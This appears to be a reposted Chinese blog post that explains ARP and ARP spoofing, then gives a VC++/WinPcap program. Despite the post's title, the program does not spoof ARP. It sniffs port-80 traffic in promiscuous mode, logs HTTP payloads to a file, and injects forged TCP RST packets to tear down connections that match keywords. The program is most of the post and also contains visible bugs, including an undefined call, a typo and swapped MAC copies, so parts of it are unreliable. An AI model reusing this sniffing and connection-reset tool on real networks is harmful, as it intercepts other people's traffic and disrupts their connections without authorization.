VC++基于winpcap实现ARP攻击禁止访问相关网站

地址解析协议(Address Resolution Protocol,ARP)是在仅知道主机的IP地址时确  地址解析协议定其物理地址的一种协议。因IPv4和以太网的广泛应用,其主要用作将IP地址翻译为以太网的MAC地址,但其也能在ATM( 异步传输模式)和FDDIIP(Fiber Distributed Data Interface 光纤分布式数据接口)网络中使用。从IP地址到物理地址的映射有两种方式:表格方式和非表格方式。ARP具体说来就是将网络层(IP层,也就是相当于OSI的第三层)地址解析为数据连接层(MAC层,也就是相当于OSI的第二层)的MAC地址。
1. 什么是ARP?
  ARP (Address Resolution Protocol) 是个地址解析协议。最直白的说法是:在IP-以太网中,当一个上层协议要发包时,有了节点的IP地址,ARP就能提供该节点的MAC地址。
  2. 为什么要有ARP?
  OSI 模式把网络工作分为七层,彼此不直接打交道,只通过接口(layer interface). IP地址在第三层, MAC地址在第二层。协议在发送数据包时,得先封装第三层(IP地址),第二层(MAC地址)的报头, 但协议只知道目的节点的IP地址,不知道其MAC地址,又不能跨第二、三层,所以得用ARP的服务。
  3. 什么是ARP
  cache? ARP cache 是个用来储存(IP, MAC)地址的缓冲区。当ARP被询问一个已知IP地址节点的MAC地址时,先在ARP cache 查看,若存在,就直接返回MAC地址,若不存在,才发送ARP request向局域网查询。
  4. ARP 有什么命令行?
  常用的包括:(格式因操作系统、路由器而异,但作用类似)- 显示ARP cache: show arp; arp -a - 清除ARP cache: arp -d;clear arp。
 在TCP/IP协议中,A给B发送IP包,在报头中需要填写B的IP为目标地址,但这个IP包在以太网上传输的时候,还需要进行一次以太包的封装,在这个以太包中,目标地址就是B的MAC地址.
  计算机A是如何得知B的MAC地址的呢?解决问题的关键就在于ARP协议。
  在A不知道B的MAC地址的情况下,A就广播一个ARP请求包,请求包中填有B的IP(192.168.1.2),以太网中的所有计算机都会接收这个请求,而正常的情况下只有B会给出ARP应答包,包中就填充上了B的MAC地址,并回复给A。
  A得到ARP应答后,将B的MAC地址放入本机缓存,便于下次使用。
  本机MAC缓存是有生存期的,生存期结束后,将再次重复上面的过程。
  ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,当局域网中的某台机器B向A发送一个自己伪造的ARP应答,而如果这个应答是B冒充C伪造来的,即IP地址为C的IP,而MAC地址是伪造的,则当A接收到B伪造的ARP应答后,就会更新本地的ARP缓存,这样在A看来C的IP地址没有变,而它的MAC地址已经不是原来那个了。由于局域网的网络流通不是根据IP地址进行,而是按照MAC地址进行传输。所以,那个伪造出来的MAC地址在A上被改变成一个不存在的MAC地址,这样就会造成网络不通,导致A不能Ping通C!这就是一个简单的ARP欺骗。
 在网络执法官中,要想限制某台机器上网,只要点击“网卡”菜单中的“权限”,选择指定的网卡号或在用户列表中点击该网卡所在行,从右键菜单中选择“权限”,在弹出的对话框中即可限制该用户的权限。对于未登记网卡,可以这样限定其上线:只要设定好所有已知用户(登记)后,将网卡的默认权限改为禁止上线即可阻止所有未知的网卡上线。使用这两个功能就可限制用户上网。其原理是通过ARP欺骗发给被攻击的电脑一个假的网关IP地址对应的MAC,使其找不到网关真正的MAC地址,这样就可以禁止其上网。
ARP欺骗可以导致目标计算机与网关通信失败;







请见代码

#include "stdafx.h"
#include <iostream>
#include <fstream>
#include <pcap.h>
#include <remote-ext.h>
#include "CheckSum.h"
#include "Aho-Corasick.h"

using namespace std;
#pragma comment(lib,"wpcap.lib")
#pragma comment(lib,"ws2_32.lib")

bool cut = false;

pcap_t * adapter;
//检查数据包,进行模式匹配,并阻断非法连接
void CheckPacket(const u_char *pkt_data);

//winpcap中pcap_loop()函数的回调函数--当网卡捕获到指定数据包时调用
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);

//保存缓存数据到文件
bool SaveToFile(char filename[], const void *data,const unsigned int size);

//保存网页数据到文件
void SavePacket(const u_char *pkt_data);
//构造发向服务器的RST包
void RSTPacketToServer(const u_char *old_pkt,u_char *pkt);
//构造发向客户端的RST包
void RSTPacketToClient(const u_char *old_pkt,u_char *pkt);
int _tmain(int argc, _TCHAR* argv[])
{
	prec();
	pcap_if_t *alldevs;
    pcap_if_t *d;
    char errbuf[PCAP_ERRBUF_SIZE];
	int num_adapter=0;

	unsigned int netmask;
	char packet_filter[] = "tcp port 80";
	struct bpf_program fcode;
    /* Retrieve the device list from the local machine */
    
    if(pcap_findalldevs(&alldevs,errbuf) == -1)
	{
        fprintf(stderr,"Error in pcap_findalldevs_ex: %s\n", errbuf);
        exit(1);
    }
    
    /* Print the list */
    for(d= alldevs; d != NULL; d= d->next)
    {
        printf("%d. %s\n", ++num_adapter, d->name);
		pcap_addr *addrs = d->addresses;
		while(addrs != NULL)
		{
			sockaddr_in *addr = (sockaddr_in *)addrs->addr;
			char *address = inet_ntoa(addr->sin_addr);
			printf("%s\n",address);
			addrs = addrs->next;
		}
        if (d->description)
            printf(" (%s)\n", d->description);
        else
            printf(" (No description available)\n");
    }
    
    if (num_adapter == 0)
    {
        printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
		pcap_freealldevs(alldevs);
        return -1;
    }
	cout<<"Enter the adapter's number!\n";
	int num = 0;
	cin >> num;
	if(num > num_adapter || num < 1)
	{
		cout<<"\nInterface number out of range.\n";
		pcap_freealldevs(alldevs);
		return -1;
	}

	d = alldevs;
	for(int i = 0;i < num - 1;i++)
	{
		d = d->next;
	}
// 打开选择的网络接口
	adapter = pcap_open_live(d->name,65536,PCAP_OPENFLAG_PROMISCUOUS,1,errbuf);
	if(adapter==NULL)	
	{
		cout <<"\nUnable to open the adapter. "<<d->name<<" is not supported by WinPcap\n";
		pcap_freealldevs(alldevs);
		return -1;
	}


	 /* Check the link layer. We support only Ethernet for simplicity */
 if (pcap_datalink(adapter) != DLT_EN10MB)
 {
  cout<<"is program works only on Ethernet networks.\n";
  /* Free the devices list */
  pcap_freealldevs(alldevs);
  return -1;
 }

	if (d->addresses != NULL)
        /* Retrieve the mask of the first address of the interface */
        netmask=((struct sockaddr_in *)(d->addresses->netmask))->sin_addr.S_un.S_addr;
    else
        /* If the interface is without an address we suppose to be in a C class network */
        netmask=0xffffff; 


    //compile the filter
    if (pcap_compile(adapter, &fcode, packet_filter, 1, netmask) < 0)
    {
        cout<<"\nUnable to compile the packet filter. Check the syntax.\n";
        /* Free the device list */
        pcap_freealldevs(alldevs);
        return -1;
    }
    
    //set the filter
    if (pcap_setfilter(adapter, &fcode) < 0)
    {
        cout<<"\nError setting the filter.\n";
        /* Free the device list */
        pcap_freealldevs(alldevs);
        return -1;
    }

    /* We don't need any more the device list. Free it */
    pcap_freealldevs(alldevs);

	cout <<"Listening....."<<endl;

	if(pcap_loop(adapter,0,packet_handler,NULL) == -2)
	{
		cout<<"\nTotal:\n";
		pcap_stat * state = new pcap_stat();
		pcap_stats(adapter,state);
		cout <<"ps_drop:"<< state->ps_drop<<"\n";
		cout <<"ps_ifdrop:"<< state->ps_ifdrop<<"\n";
		cout <<"ps_recv:"<< state->ps_recv<<"\n";
	}
	else
	{
		cout << "something wrong when caputer the network's packet!\n";
		return -1;
	}
	pcap_close(adapter);
	system("pause");
	return 0;

}


void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
	//保存数据包到文件
	SavePacket(pkt_data);
	CheckPacket(pkt_data);
}

void SavePacket(const u_char *pkt_data)
{
 //获得以太网头 ip数据包头 tcp头位置
    Ip_Header* ipHeader;
	Tcp_Header* tcpHeader;
	unsigned int ipHeaderLen;
	unsigned short sport, dport;

		//Ethernet frame 
	Ether_Header* eh = (Ether_Header*)pkt_data;
	//retrieve the position of the ip header 
	ipHeader = (Ip_Header*)(pkt_data + 14);        //length of ethernet header 
	//retrieve the position of the tcp header
	ipHeaderLen = (ipHeader->iphVerLen & 0xf) * 4; //length of ip header
	tcpHeader = (Tcp_Header*)(pkt_data + 14 + ipHeaderLen);

	// 将端口信息从网络型转变为主机顺序
	sport = ntohs(tcpHeader->sourcePort);
	dport = ntohs(tcpHeader->destinationPort);

	UCHAR Flags = tcpHeader->flags;

	
	//得到Tcp数据部分的位置
	unsigned int TcpHeadLen = ((tcpHeader->headerLen_unUsed & 0xf0) >> 4) * 4; // 高4位表示数据偏移
	unsigned char* HttpData = (unsigned char*)tcpHeader+TcpHeadLen;

	unsigned int IpLength = ntohs(ipHeader->ipLength);
	unsigned int HttpDataLen = IpLength - ipHeaderLen - TcpHeadLen;

	if(HttpDataLen != 0)
	{
		//保存
		SaveToFile("cap.log",HttpData,HttpDataLen);
	}

}

//
// 把数据写入文件
// 入口参数: filename ==> 数据文件名 data ==> 指向数据块的空指针 size ==> 数据块大小
// 返回值类型 bool
//

bool SaveToFile(char filename[], const void *data,const unsigned int size)
{
	ofstream onput;
	onput.open(filename,ios::out|ios.binary|ios::ate|ios::app);
	if(onput.fail())
		return false;
	onput.write((char *)data,size);
	onput.close();
	return true;
}


//构造R发送给服务器端的RST包
//输入:old_pkt - 收到的原数据包 pkt - 构造出来的RST包
void RSTPacketToServer(const u_char *old_pkt,u_char *pkt)
{
	Ip_Header *old_ih,*ih;
	Tcp_Header *old_th,*th;
	Ether_Header *old_eh,*eh;
	unsigned int ipHeaderLen;
	
	memcpy (pkt,old_pkt,40+14);

	old_eh = (Ether_Header *)old_pkt;
	eh = (Ether_Header *)pkt;

	memcpy(old_eh->dhost,eh->shost,sizeof(eh->shost));
	memcpy(old_eh->shost,eh->dhost,sizeof(eh->dhost));

	/* retrieve the position of the ip header */
	old_ih = (Ip_Header*)(old_pkt + 14);  /* length of ethernet header */	
	ih = (Ip_Header*)(pkt + 14);
	

	memcpy(ih,old_ih,sizeof(Ip_Header));  //ip头
	ih->ipSource = old_ih->ipDestination;
	ih->ipDestination = old_ih->ipSource;
	ih->ipLength = htons(40);
	
	
	/* retrieve the position of the udp header */
	ipHeaderLen = (old_ih->iphVerLen & 0xf) * 4;
	old_th = (Tcp_Header*)(old_pkt + 14 + ipHeaderLen);
	th = (Tcp_Header*)(pkt + 14 + ipHeaderLen);

	th->destinationPort = old_th->sourcePort;
	th->sourcePort = old_th->destinationPort;
	th->flags = 0x04; //rst
	th->sequenceNumber = htonl(ntohl(old_th->acknowledgeNumber));
	

	unsigned int TcpHeadLen = ((th->headerLen_unUsed & 0xf0) >> 4) * 4; // 高4位表示数据偏移
	unsigned char* HttpData = (unsigned char*)th+TcpHeadLen;	

	int lentcp = ntohs(ih->ipLength) - (sizeof(Ip_Header) + sizeof(Tcp_Header));

	th->acknowledgeNumber=0;
	ih->ipChecksum = 0;
	th->checksum = 0;
	ih->ipChecksum = checksum((USHORT *)ih, sizeof(Ip_Header));
	ComputeTcpPseudoHeaderChecksum(ih, th, (char *)HttpData, lentcp);
}


//构造R发送给客户端的RST包
//输入:old_pkt - 收到的原数据包 pkt - 构造出来的RST包
void RSTPacketToClient(const u_char *old_pkt,u_char *pkt)
{
	Ip_Header *old_ih,*ih;
	Tcp_Header *old_th,*th;
	Ether_Header *old_eh,*eh;
	unsigned int ipHeaderLen;
	
	memcpy (pkt,old_pkt,40+14);

	old_eh = (Ether_Header *)old_pkt;
	eh = (Ether_Header *)pkt;

	/* retrieve the position of the ip header */
	old_ih = (Ip_Header*)(old_pkt + 14);  /* length of ethernet header */	
	ih = (Ip_Header*)(pkt + 14);

	memcpy(ih,old_ih,sizeof(Ip_Header));  //ip头
	ih->ipLength = htons(40);

	
	/* retrieve the position of the udp header */
	ipHeaderLen = (old_ih->iphVerLen & 0xf) * 4;
	old_th = (Tcp_Header*)(old_pkt + 14 + ipHeaderLen);
	th = (Tcp_Header*)(pkt + 14 + ipHeaderLen);

	th->flags =4;  //rst
	
	

	unsigned int TcpHeadLen = ((th->headerLen_unUsed & 0xf0) >> 4) * 4; // 高4位表示数据偏移
	unsigned char* HttpData = (unsigned char*)th+TcpHeadLen;	

	int lentcp = ntohs(ih->ipLength) - (sizeof(Ip_Header) + sizeof(Tcp_Header));
	th->sequenceNumber = htonl(ntohl(old_th->sequenceNumber) + lentcp);
	if(old_th->flags & 0x02) 
		th->sequenceNumber = htonl(ntohl(old_th->sequenceNumber) + 1);
	th->acknowledgeNumber = 0;

	ih->ipChecksum = 0;
	th->checksum = 0;
	ih->ipChecksum = checksum((USHORT *)ih, sizeof(Ip_Header));
	ComputeTcpPseudoHeaderChecksum(ih, th, (char *)HttpData, lentcp);

}


void CheckPacket(const u_char *pkt_data)
{
	//获得以太网头 ip数据包头 tcp头位置
    Ip_Header* ipHeader;
	Tcp_Header* tcpHeader;
	unsigned int ipHeaderLen;

	//Ethernet frame 
	Ether_Header* eh = (Ether_Header*)pkt_data;
	//retrieve the position of the ip header 
	ipHeader = (Ip_Header*)(pkt_data + 14);        //length of ethernet header 
	//retrieve the position of the tcp header
	ipHeaderLen = (ipHeader->iphVerLen & 0xf) * 4; //length of ip header
	tcpHeader = (Tcp_Header*)(pkt_data + 14 + ipHeaderLen);

	//得到Tcp数据部分的位置
	unsigned int TcpHeadLen = ((tcpHeader->headerLen_unUsed & 0xf0) >> 4) * 4; // 高4位表示数据偏移
	unsigned char* HttpData = (unsigned char*)tcpHeader+TcpHeadLen;

	unsigned int IpLength = ntohs(ipHeader->ipLength);
	int HttpDataLen = (int)(IpLength - ipHeaderLen - TcpHeadLen);
	if(cut)
	{
		if(tcpHeader->flags & 0x02)
		{
			u_char * send_mdata = new u_char[54];
				RSTPacketToServer(pkt_data,send_mdata);
				pcap_sendpacket(adapter,send_mdata,54);
				return;
		}
	}

	if(HttpDataLen > 0)
	{
			
		for (int i = 0 ; i < HttpDataLen; i++)
		{
			if (AC(*(HttpData+i),false))	//ac算法
			{
				printf("---------------------------------------------------\n");
			    printf("关键字位置:%d\n",i);
				cut = true;    //
				u_char * send_data = new u_char[54];



				//发送rst包给客户端

			   RSTPacketToClient(pkt_data,send_data);
			   pcap_sendpacket(adapter,send_data,54);
				//发送rst包给服务端
				RSTPacketToServer(pkt_data,send_data);
				 pcap_sendpacket(adapter,send_data,54);
				cout<<"Finded!"<<endl;
			}
		}
	}	

}


原文地址:https://www.cnblogs.com/new0801/p/6177666.html